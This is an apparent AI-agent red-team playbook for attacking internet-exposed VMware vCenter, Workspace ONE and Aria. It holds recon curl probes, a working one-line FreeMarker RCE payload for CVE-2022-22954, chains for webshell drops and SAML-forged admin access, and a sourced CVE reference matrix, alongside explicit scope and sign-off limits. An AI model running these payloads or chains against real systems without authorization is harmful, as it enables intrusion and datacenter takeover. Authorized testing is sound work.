VMware vCenter Attack

Trigger when external recon shows ANY of:

• Banner: "VMware vCenter Server", "VMware vSphere Client"
• URL paths: /ui, /ui/login, /websso/SAML2/Metadata, /sdk, /mob (Managed Object Browser)
• TLS cert SAN includes vcenter / vsphere / vcsa / psc / vmware
• Workspace ONE Access / Identity Manager: /SAAS, /SAAS/auth, /SAAS/login, /SAAS/horizon
• VMware Aria / vRealize: /vco, /vco-controlcenter, /orchestrator, /lcm/api/v1
• Horizon View: /portal, /admin

• Internal-network vCenter (out of scope — external boundary discipline)
• Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

TARGET="vcenter.target.com"
# Build info endpoint (often public; revealing exact patch level) curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"
# UI build (visible in page source) curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}' curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'
# REST API version (vSphere 7+) curl -sk "https://$TARGET/api/appliance/system/version"
# Cert metadata echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
# SSO Admin Service (info disclosure) curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local" curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)
curl -sk -o /dev/null -w "%{http_code}\n" \   "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

# Workspace ONE Access vulnerable endpoint
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"id\")}"
# Look for "uid=" in response → confirmed RCE (Freemarker)

If page reflects template error / executes command → critical. Stop and report.

• vCenter-Exploit collection (multiple PoCs on GitHub for 21972, 21985, 22005)
• Greenbone/openvas-scanner VMware NASL plugins — version detection
• nuclei templates: vmware-vcenter-*.yaml, cve-2021-21972.yaml, cve-2022-22954.yaml
• Metasploit modules: exploit/multi/http/vmware_vcenter_*

• Excessive 404s on /ui/vropspluginui/* — IDS signature
• POST to /sdk from non-management IP
• administrator@vsphere.local auth failures
• TLS handshake fingerprint changes
• Plugin upload to vRealize endpoint

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per feedback_skill_boundaries. The user handles internal vCenter work directly.

Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

• DO NOT spray vCenter SSO — lockout is aggressive; one chance often
• DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
• DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
• DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

• enterprise-vpn-attack — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
• m365-entra-attack — vCenter SSO sometimes federated to Entra; cred-chain bridging
• mid-engagement-ir-detection — vCenter monitoring is sensitive; expect mid-engagement mitigations
• redteam-report-template — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)

• hunt-saml — vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at /SAAS/API/1.0/GET/metadata/idp.xml and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted → hunt-saml XSW1-XSW8 against the federating IdP → forged assertion with userPrincipalName=administrator@vsphere.local → SP-impersonation as vCenter admin → full virtualization-plane takeover.
• hunt-rce — VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or /ui/login body → confirm patch level missing → hunt-rce deserialization/SSTI gadget from the matching CVE PoC → root on vCenter appliance → API-token mint → cluster-wide VM control.
• enterprise-vpn-attack — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits, vmware-vcenter-attack becomes reachable on internal-only vCenter → datacenter takeover.
• m365-entra-attack — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to login.microsoftonline.com → m365-entra-attack Entra ATO on administrator@vsphere.local synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
• mid-engagement-ir-detection — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run mid-engagement-ir-detection baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via redteam-report-template.

These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.

1. CVE-2021-21972 — vCenter vropspluginui unauthenticated arbitrary file upload (canonical pre-auth RCE)

• Affected: vCenter Server 6.5 < 6.5 U3n, 6.7 < 6.7 U3l, 7.0 < 7.0 U1c (vRealize Operations vCenter plugin bundled with every default install — Linux or Windows variant matters for payload). VMware Cloud Foundation 3.x/4.x also bundles.
• Attack flow: Unauth POST to /ui/vropspluginui/rest/services/uploadova with a tar/OVA containing a path-traversal entry. On Windows write webshell.jsp under the vsphere-ui webroot for SYSTEM; on Linux drop authorized_keys under /home/vsphere-ui/.ssh/ and SSH in.
• Root cause: Endpoint exposed by the vRealize Operations plugin lacked any authentication filter; the uploadova handler did not sanitize archive entry paths.
• Disclosure: Reported by Mikhail Klyuchnikov (Positive Technologies / PT SWARM) in autumn 2020; advisory + patch published 2021-02-23 as VMSA-2021-0002; PoC on GitHub the next day triggered mass scanning. CISA KEV: added 2021-11-03. Year discovered 2020, patched 2021.
• References: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ; https://swarm.ptsecurity.com/unauth-rce-vmware/ ; https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ; https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972

2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE

• Affected: vCenter Server 6.5 < 6.5 U3p, 6.7 < 6.7 U3n, 7.0 < 7.0 U2b (vSAN Health Check plugin is enabled by default whether or not vSAN is in use).
• Attack flow: Unauthenticated abuse of ProxygenController in the vSAN Health plugin → Java unsafe reflection chained with an SSRF primitive → arbitrary method invocation as vsphere-ui → command execution.
• Root cause: Missing input validation + dangerous reflection sink reachable from an unauthenticated REST surface.
• Disclosure: Reported by Ricter Z (Yang Hao) of 360 Noah Lab; advisory VMSA-2021-0010 published 2021-05-25. Public PoC and Metasploit module followed within days; honeypots saw active exploitation. Year discovered 2021, patched 2021.
• References: https://www.vmware.com/security/advisories/VMSA-2021-0010.html ; https://noahblog.360.cn/vcenter-server-rce/ (Ricter Z writeup) ; https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ; https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/

3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE

• Affected: vCenter Server 6.7 < 6.7 U3o, 7.0 < 7.0 U2d. Cloud Foundation 3.x/4.x bundled vCenter.
• Attack flow: Unauth POST to the Analytics endpoint on port 443 (/analytics/telemetry/ph/api/hyper/send) writes attacker-controlled file outside the intended directory; chained with subsequent service abuse to reach RCE as the vCenter service account.
• Root cause: Analytics/CEIP endpoint did not authenticate file uploads and did not validate target path.
• Disclosure: VMware advisory VMSA-2021-0020 published 2021-09-21. Working PoC by @testanull / @wvu released within ~72h; CISA issued an emergency alert 2021-09-24. CISA KEV: added 2021-11-03. Year discovered 2021, patched 2021.
• References: https://www.vmware.com/security/advisories/VMSA-2021-0020.html ; https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ; https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ; https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/

4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

• Affected: Workspace ONE Access 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0; Identity Manager 3.3.3 → 3.3.6; vRealize Automation 7.6.
• Attack flow: Unauth GET to /catalog-portal/ui/oauth/verify?deviceUdid=${...} injects a FreeMarker template; freemarker.template.utility.Execute runs OS commands as the horizon service account. Single-request RCE.
• Root cause: Catalog-portal endpoint passed attacker-controlled query parameter into FreeMarker render without sandboxing the Execute utility.
• Disclosure: Reported by Steven Seeley (mr_me) of Source Incite; VMware advisory VMSA-2022-0011 published 2022-04-06. PoCs public within 48h; widespread mass-exploitation followed. CISA KEV: added 2022-04-14. CISA AA22-138B (May 2022) documents IR engagements at "large organizations" exploited via this CVE. Year discovered 2022, patched 2022.
• References: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts

5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass

• Affected: Workspace ONE Access 21.08.0.1; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6 (and downstream Cloud Foundation bundles).
• Attack flow: Manipulate the HTTP Host header during local-domain login flow; the server routes its internal validation request to the attacker-controlled hostname → returns admin session without legitimate credentials.
• Root cause: Host header used unvalidated as the target for the internal auth-validation request — classic SSRF-into-self with trust elevation.
• Disclosure: Reported by Bruno López of Innotec Security; VMware advisory VMSA-2022-0014 published 2022-05-18. CISA Emergency Directive 22-03 (2022-05-18) ordered all U.S. federal civilian agencies to patch or remove affected VMware installations by 2022-05-24 — the same agencies that had just been told the same thing for CVE-2022-22954 six weeks earlier. Year discovered 2022, patched 2022.
• References: https://www.vmware.com/security/advisories/VMSA-2022-0014.html ; https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ; https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ; https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass

6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) pre-auth command injection → RCE

• Affected: Aria Operations for Networks (formerly vRealize Network Insight / vRNI) 6.2 through 6.10.
• Attack flow: Two-issue chain — (a) reach the Apache Thrift endpoint exposed on the management interface despite no authentication, (b) inject shell metacharacters into a parameter passed to a bash -c invocation. Single unauth POST → root.
• Root cause: Thrift RPC endpoint exposed without auth + downstream shell-string composition with user input.
• Disclosure: Reported by Sina Kheirkhah (@SinSinology) of Summoning Team to ZDI; advisory VMSA-2023-0012 published 2023-06-07. Public PoC released same week. CISA KEV: added 2023-06-22 after observed in-the-wild exploitation. Year discovered 2023, patched 2023.
• References: https://www.vmware.com/security/advisories/VMSA-2023-0012.html ; https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ; https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ; https://github.com/sinsinology/CVE-2023-20887

7. CVE-2023-34048 — vCenter Server DCERPC pre-auth out-of-bounds write → RCE (APT-exploited zero-day)

• Affected: vCenter Server 7.0 < 7.0 U3o, 8.0 < 8.0 U1d/U2b; VMware Cloud Foundation bundles.
• Attack flow: Unauthenticated network actor sends a crafted DCE/RPC packet to the vmdir/vmafd service → out-of-bounds write in the DCE/RPC protocol implementation → memory corruption → code execution. Forensic tell: vmdird crashes shortly before backdoor deployment.
• Root cause: OOB write in DCE/RPC marshalling layer of vCenter management services.
• Disclosure: Reported by Grigory Dorodnov of Trend Micro ZDI (publication ZDI-23-1623, suggesting a paid ZDI submission — bounty undisclosed). Advisory VMSA-2023-23 published 2023-10-24. Mandiant later attributed in-the-wild exploitation to UNC3886 (China-nexus espionage) since late 2021 — a ~1.5-year zero-day window before patch. CISA KEV: added 2024-01-22. Year discovered 2023 (patched), exploited since 2021.
• References: https://www.vmware.com/security/advisories/VMSA-2023-0023.html ; https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ; https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ (Mandiant) ; https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/

8. CVE-2024-37085 — ESXi Active Directory integration "ESX Admins" auth bypass (ransomware-favorite)

• Affected: ESXi 7.0 < ESXi70U3q-24585291, ESXi 8.0 < ESXi80U3-24022510; vCenter-managed clusters where ESXi is joined to AD.
• Attack flow: Attacker with sufficient AD rights creates (or re-creates after deletion) a group literally named ESX Admins and adds an account. ESXi auto-grants every member full admin rights without checking that the group existed at join time. End-to-end: AD foothold → group create → SSH/API root on every domain-joined ESXi host → mass VM encryption.
• Root cause: Hard-coded trust of group name ESX Admins with no domain-scoped identity validation.
• Disclosure: Reported by Microsoft Threat Intelligence; advisory VMSA-2024-0013 published 2024-06-25. Microsoft Security Blog documents pre-patch exploitation by Storm-0506 (Black Basta), Storm-1175, Octo Tempest, and Manatee Tempest ransomware operators — including a confirmed Black Basta deployment at a North American engineering firm. CISA KEV: added 2024-07-30. Year discovered 2024 (exploited as 0-day), patched 2024.
• References: https://www.vmware.com/security/advisories/VMSA-2024-0013.html ; https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ; https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ; https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html

9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter storage controller OOB read/write

• Note on the original ticket: This CVE was listed in the brief as "Aria SSRF," but the actual NVD record describes an ESXi/vCenter storage controller out-of-bounds read/write, not an Aria SSRF. The closest Aria SSRF-adjacent issue in the 2024 cycle is CVE-2023-34063 (VMSA-2024-0001) — Aria Automation missing access control allowing authenticated cross-org access; CVSSv3 9.9. Both are cited so the matrix is technically accurate.
• Affected (CVE-2024-22273): ESXi 7.0/8.0, Workstation 17.x, Fusion 13.x. vCenter Server packaged variants. Requires VM-local access with storage controllers enabled.
• Attack flow: VM with storage controllers enabled can issue crafted I/O to trigger OOB read/write on the host → information disclosure or DoS of the host (escape not directly demonstrated). CVSS 8.1 (Important).
• Root cause: Missing bounds check in the storage controller emulation path.
• Disclosure: Reported by Hao Zheng (@zhz) and Jiaqing Huang (@s0duku) of TianGong Team, Legendsec @ Qi'anxin Group. Advisory VMSA-2024-0011 published 2024-05-21. Year discovered 2024, patched 2024.
• References: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
• Aria-specific companion — CVE-2023-34063 (VMSA-2024-0001): Aria Automation 8.11.x–8.14.x missing access control — authenticated actor obtains unauthorized cross-organization access to remote workflows. CVSSv3 9.9. Patched in Aria Automation 8.16. References: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation

10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP pre-auth use-after-free / heap overflow (ESXiArgs ransomware vector)

• Affected: ESXi 6.5, 6.7, 7.0 prior to the OpenSLP patches (ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). OpenSLP service on TCP/427.
• Attack flow: Unauth attacker sends a crafted SLP packet to port 427 → memory corruption in the SLP daemon → code execution as root on the hypervisor. CVE-2020-3992 is the use-after-free (VMSA-2020-0023); CVE-2021-21974 is the heap-overflow variant (VMSA-2021-0002, same release wave as 21972).
• Root cause: OpenSLP daemon — long-deprecated, exposed by default until 2021 — has unsafe parsing of SLP message frames.
• Disclosure: CVE-2020-3992 reported by Lucas Leong of Trend Micro ZDI (ZDI-20-1376, paid ZDI submission). CVE-2021-21974 reported by Lucas Leong of Trend Micro ZDI as well. CISA KEV: CVE-2020-3992 added 2021-11-03; CVE-2021-21974 added 2023-02-08. ESXiArgs ransomware campaign (Feb 2023) hit ~3,800 internet-exposed hosts via CVE-2021-21974 — two years after patch was available. VMware disabled SLP by default in subsequent releases. Year discovered 2020/2021, patched 2020/2021, mass-exploited 2023.
• References: https://www.vmware.com/security/advisories/VMSA-2020-0023.html ; https://www.vmware.com/security/advisories/VMSA-2021-0002.html ; https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ; https://www.cisa.gov/known-exploited-vulnerabilities-catalog ; https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ; https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers

Bonus: CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation auth bypass (post-22972 follow-up)

• Affected: Same product matrix as 22954/22972. Workspace ONE Access 21.08.x; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6.
• Attack flow: Network-only actor obtains admin without authenticating; chained with CVE-2022-31659 (auth'd RCE) the pair yields pre-auth admin RCE — the spiritual successor to the 22954+22972 pair.
• Root cause: Local-domain auth flow trusted a parameter that could be supplied without prior auth.
• Disclosure: Reported by PetrusViet of VNG Security; advisory VMSA-2022-0021 published 2022-08-02. PetrusViet released chain writeup + PoC. Year 2022.
• References: https://www.vmware.com/security/advisories/VMSA-2022-0021.html ; https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ; https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656

• CISA KEV catalog (VMware filter): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware — VMware is one of the most-represented vendors; cross-check any vCenter/ESXi/Workspace finding here before grading severity.
• Broadcom (formerly VMware) advisories index: https://support.broadcom.com/security-advisories (legacy https://www.vmware.com/security/advisories.html). Search by VMSA-YYYY-NNNN.
• ZDI published advisories: https://www.zerodayinitiative.com/advisories/published/ — filter "VMware" for the canonical paid-bounty disclosures (CVE-2020-3992, CVE-2023-34048, multiple Aria Operations and vRNI).
• Mandiant UNC3886 reporting: Google Cloud Threat Intelligence has the deepest published forensic trail on long-tail vCenter zero-day exploitation. Pair with the mid-engagement-ir-detection skill when working a target where vCenter is reachable.